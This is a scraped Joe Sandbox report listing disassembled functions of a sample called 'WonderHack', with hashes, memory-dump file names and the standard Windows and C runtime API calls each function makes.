Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 6b6766383acd2878f4920309f9c6f565c1178b2277445d3d8da3fe04b0e620c5
Instruction ID: ae79f2ed509b575c822acde852661b711e12529ece3c8de084daa974c79e01da
Opcode Fuzzy Hash: 6b6766383acd2878f4920309f9c6f565c1178b2277445d3d8da3fe04b0e620c5
Instruction Fuzzy Hash:

Function 00CB4ABC Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00CB4ABC

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 504137259432b8d7213b59965a83ba99af86107ba9c7715475e2a2e6900c48f9
Instruction ID: e865f645e4dc02dfb2be90844ee47f99c8d8a8b95182d956667c3bf876f6ca38
Opcode Fuzzy Hash: 504137259432b8d7213b59965a83ba99af86107ba9c7715475e2a2e6900c48f9
Instruction Fuzzy Hash: 28A001746032058BA7548F35AB0A71D3AADAA9A691705406EA50AC5170EB39A451AA01

Function 00C91000 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41b83c2ca3de056dfcd879212a9cbca79c38de6be81e499b0d8859161e080eee
Instruction ID: e5796efa2471ba2136c02968c650b7e011c83e18a2448cad9c93ff7777c346ac
Opcode Fuzzy Hash: 41b83c2ca3de056dfcd879212a9cbca79c38de6be81e499b0d8859161e080eee
Instruction Fuzzy Hash: D05179B4D0020E9FCF40DFA8D596AEEBBF4AB09350F24545AE815FB310D734AA41CBA5

Function 00C916C0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a31fc2ec69f4fb4ab37674a276921e4a8761421fb0ab044740df4e6e2dea759c
Instruction ID: 8e3dee7b08d06271cfcca3d96e8d6f801256775d9d44d250ed33198f4cbebef5
Opcode Fuzzy Hash: a31fc2ec69f4fb4ab37674a276921e4a8761421fb0ab044740df4e6e2dea759c
Instruction Fuzzy Hash: C0D06C3A641A58AFC210CF8AE440E41F7A8FB89670B158066EA0993B20D235F811CEE0

Function 00CC1F22 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,00CC1F0D,?,?,?,?,?,?,?,?,?), ref: 00CC1FC8
__alloca_probe_16.LIBCMT ref: 00CC2083
__alloca_probe_16.LIBCMT ref: 00CC2112
__freea.LIBCMT ref: 00CC215D
__freea.LIBCMT ref: 00CC2163
__freea.LIBCMT ref: 00CC2199
__freea.LIBCMT ref: 00CC219F
__freea.LIBCMT ref: 00CC21AF

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 77f5f5fedec21017400d8b78638b40a644ce5e305bcc3cafdfc137131e6b4039
Instruction ID: a8e0d08877bb06f5074c0d0773a3205a02fa899fdc6ab858cbbd762f0da4bbf7
Opcode Fuzzy Hash: 77f5f5fedec21017400d8b78638b40a644ce5e305bcc3cafdfc137131e6b4039
Instruction Fuzzy Hash: 1671D572900249ABEF219E94CC41FAF7BBA9F46310F2D405EEA24A7292D735DE41D760

Function 00CA6A69 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 00CA6AB0
__alloca_probe_16.LIBCMT ref: 00CA6ADC
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 00CA6B1B
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00CA6B38
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00CA6B77
__alloca_probe_16.LIBCMT ref: 00CA6B94
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 00CA6BD6
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00CA6BF9

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 5b34bb505e1889d5c86595bb03a3b6a7ca9c7d7ceaa1bcd94c6a1ce3aa47a9ad
Instruction ID: b7be9adda4dc27538fdd1e9c0295adc40ed1911ae1f8d0a9c87c66c7ce536fa3
Opcode Fuzzy Hash: 5b34bb505e1889d5c86595bb03a3b6a7ca9c7d7ceaa1bcd94c6a1ce3aa47a9ad
Instruction Fuzzy Hash: 5651C07250021BAFEB215F60CC45FAB7BA9EF42758F294024F965E6190DB34CE00DBA0

Function 00CB6032 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00CB60B8

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c3ed0d376608a570b3b521b077c8efc077dfbec983f27d761b9b7f2e2db3b283
Instruction ID: f6f6bc058c12dca107fe5675ad845bc3dd5a188f07aa252c7664272107313192
Opcode Fuzzy Hash: c3ed0d376608a570b3b521b077c8efc077dfbec983f27d761b9b7f2e2db3b283
Instruction Fuzzy Hash: C8B14872A013559FEB11CF68CC82BEEBFA5EF55310F184165E915AF282D278DE01CBA1

Function 00CA7940 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00CA7977
___except_validate_context_record.LIBVCRUNTIME ref: 00CA797F
_ValidateLocalCookies.LIBCMT ref: 00CA7A08
__IsNonwritableInCurrentImage.LIBCMT ref: 00CA7A33
_ValidateLocalCookies.LIBCMT ref: 00CA7A88

Strings

csm, xrefs: 00CA7A1D

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 06052fc65e2a72dc4955c65b17dde0779f03448452133aefca71d6be2c9b8136
Instruction ID: e158f5b1b20e50a0ef8e4057a83636fbe76421c2bcca0a7bf23284bfa2aa0f52
Opcode Fuzzy Hash: 06052fc65e2a72dc4955c65b17dde0779f03448452133aefca71d6be2c9b8136
Instruction Fuzzy Hash: B241C630A0421AABCF10DF68CC85A9E7BB5BF46318F148656E8259B352D731AF41DB91

Function 00CA6CBB Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00CA6CC1
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00CA6CCF
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 00CA6CE0

Strings

GetTempPath2W, xrefs: 00CA6CD5
GetSystemTimePreciseAsFileTime, xrefs: 00CA6CC9
kernel32.dll, xrefs: 00CA6CBC

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: 841e0f7ef5d23229aeebbc9187fe9b6df0b103e41257cbbe7d1ddc2286e2dec7
Instruction ID: 2283c84a61df78d3d306585efdf2d6ce1b01a186be84557ac83f16680a42a691
Opcode Fuzzy Hash: 841e0f7ef5d23229aeebbc9187fe9b6df0b103e41257cbbe7d1ddc2286e2dec7
Instruction Fuzzy Hash: BBD0C7795563146B83105FF5FC0DF5D3BA4EB09712305007EFC06D3290D6B458418F92

Function 00CBC0BA Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d541e2e0d0a3c44f12ace1ce15b3c729264545327d71a974626022d0c407c29
Instruction ID: 3aa8874d493aebe0d8cdc571d17dd62c40ece73713407a0000f69f62a4b6ec41
Opcode Fuzzy Hash: 5d541e2e0d0a3c44f12ace1ce15b3c729264545327d71a974626022d0c407c29
Instruction Fuzzy Hash: 20B10370A04249AFDF11DFA9D8C1BFD7BB4BF4A304F148159E411AB2A2C7709E42DBA5

Function 00CB1FAE Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00CB1FA5,00CA7361,00CA6681), ref: 00CB1FBC
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00CB1FCA
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00CB1FE3
SetLastError.KERNEL32(00000000,00CB1FA5,00CA7361,00CA6681), ref: 00CB2035

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 80c2a5f3b6dc901653dc783c2414e50e2c0e34a00814ea4153bc059e75d3149f
Instruction ID: 16268a4d98560addcad5b3924d488a29237a28da832a10044f9f7982ffa9aa2f
Opcode Fuzzy Hash: 80c2a5f3b6dc901653dc783c2414e50e2c0e34a00814ea4153bc059e75d3149f
Instruction Fuzzy Hash: EF01753620B2115DA6253AB9BC95BAF2B44DB557B4F30063BF531550F3EF924D01E650

Function 00CB2826 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00CB2945
CallUnexpected.LIBVCRUNTIME ref: 00CB2BBE

Strings

csm, xrefs: 00CB297C
csm, xrefs: 00CB2863
csm, xrefs: 00CB28D0

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: c8d4beee907e8170ada37494431021fa945333dd8470a078108e8985c8686446
Instruction ID: 81fbed23a90a42b7728e09d652b2356f91e1b0d6e0d718a4227d4c3a0cb83789
Opcode Fuzzy Hash: c8d4beee907e8170ada37494431021fa945333dd8470a078108e8985c8686446
Instruction Fuzzy Hash: 34B18931C00209EFCF29DFA4D881AEEBBB5FF18310F54455AE8256B212C735DA52DBA1

Function 00CACA3C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,0BDF5ED4,?,?,00000000,00CC3374,000000FF,?,00CACAFD,00CAC9E4,?,00CACB99,00000000), ref: 00CACA71
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00CACA83
FreeLibrary.KERNEL32(00000000,?,?,00000000,00CC3374,000000FF,?,00CACAFD,00CAC9E4,?,00CACB99,00000000), ref: 00CACAA5

Strings

mscoree.dll, xrefs: 00CACA6A
CorExitProcess, xrefs: 00CACA7B

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 849f90581f4b6ae1d7a4c255533e66c7c4c04dcbd33a241b56b59775bcad8077
Instruction ID: 0945756f8fb3b59626037b0620e5d3766089cdd3c50205cdfd92706916ec2fe0
Opcode Fuzzy Hash: 849f90581f4b6ae1d7a4c255533e66c7c4c04dcbd33a241b56b59775bcad8077
Instruction Fuzzy Hash: BC01673150465AAFDB11DF94DC09FBEBBB8FB05714F044539F826A22E0DB74AD00CA90

Function 00CB48CD Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00CB4952
__alloca_probe_16.LIBCMT ref: 00CB4A1B
__freea.LIBCMT ref: 00CB4A82

Part of subcall function 00CB31C1: RtlAllocateHeap.NTDLL(00000000,?,?,?,00CA22A9,?,?,00C93E32,00001000,?,00C93D7A), ref: 00CB31F3

__freea.LIBCMT ref: 00CB4A95
__freea.LIBCMT ref: 00CB4AA2

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: dd72112742775c50dd7fdfab8af549708399a61af1b39a70069cbf04af6302ef
Instruction ID: 084d6ef5fcf4fa903f3d648275981199b77317045209f5dc7469928d26e230c3
Opcode Fuzzy Hash: dd72112742775c50dd7fdfab8af549708399a61af1b39a70069cbf04af6302ef
Instruction Fuzzy Hash: FE51CE72644207AFEF289FA58C85EFB3BADEF84710F194528FD14D6142EB30DE10A664

Function 00CA5C7F Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00CA5C93
AcquireSRWLockExclusive.KERNEL32(?,?,?,00CA5C5C,?,00000000,?,00C9B93C,?,?,00C9D94E), ref: 00CA5CB2
AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,00CA5C5C,?,00000000,?,00C9B93C,?,?,00C9D94E), ref: 00CA5CE0
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,00CA5C5C,?,00000000,?,00C9B93C,?,?,00C9D94E), ref: 00CA5D3B
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,00CA5C5C,?,00000000,?,00C9B93C,?,?,00C9D94E), ref: 00CA5D52

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: 6ab3ec893ad4a3cd477eebc6971b9c9ee9778856840928466a047a899c0b406d
Instruction ID: 760ee6a283a87abb48f606f530e65e698fadcdc7daebdc6234ae0a0269dd4001
Opcode Fuzzy Hash: 6ab3ec893ad4a3cd477eebc6971b9c9ee9778856840928466a047a899c0b406d
Instruction Fuzzy Hash: B1413C75900F0BDFCB20DF65D688AAAB7F4FF06318B50892AD466D7650D730EA85CB50

Function 00CA2956 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00CA295D
std::_Lockit::_Lockit.LIBCPMT ref: 00CA2968
std::_Lockit::~_Lockit.LIBCPMT ref: 00CA29D6

Part of subcall function 00CA285F: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00CA2877

std::locale::_Setgloballocale.LIBCPMT ref: 00CA2983
_Yarn.LIBCPMT ref: 00CA2999

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: f187d5fb47a2de2ade0712da6309badfcd6dbab3dbee40a211992b1d8c9e1b84
Instruction ID: 956188fe66ed6912929ccf440cc25b8b8e44e64e4a49d7e921db6e7a66d633a6
Opcode Fuzzy Hash: f187d5fb47a2de2ade0712da6309badfcd6dbab3dbee40a211992b1d8c9e1b84
Instruction Fuzzy Hash: E8018F75A016229BCB06EF24D845B7E7BB2FF86758B18401DF81197391CF34AE02EB95

Function 00CBDD31 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00CBDDCD,00000000,?,00CD21B8,?,?,?,00CBDD04,00000004,InitializeCriticalSectionEx,00CC808C,00CC8094), ref: 00CBDD3E
GetLastError.KERNEL32(?,00CBDDCD,00000000,?,00CD21B8,?,?,?,00CBDD04,00000004,InitializeCriticalSectionEx,00CC808C,00CC8094,00000000,?,00CB2E6C), ref: 00CBDD48
